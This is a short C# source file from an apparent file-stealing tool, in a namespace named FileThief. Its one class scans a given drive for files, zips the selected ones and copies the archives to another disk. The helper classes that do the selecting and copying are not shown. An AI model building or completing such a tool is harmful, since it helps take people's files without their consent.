﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading;

namespace FileThief
{
    
    public class Businese
    {       
        private DriveInfo drive;

        public void Start()
        {
            //Console.WriteLine(drive.Name + "OK");
            List<FileInfo> fileList = new Select().SelectFiles(drive);
            List<FileInfo> zipFileList = new Zip().GetZipFiles(fileList);
            new Copy().CopyFileToDisk(zipFileList);
        }

        public Businese(DriveInfo copyDrive)
        {
            drive = copyDrive;
        }

    }

}
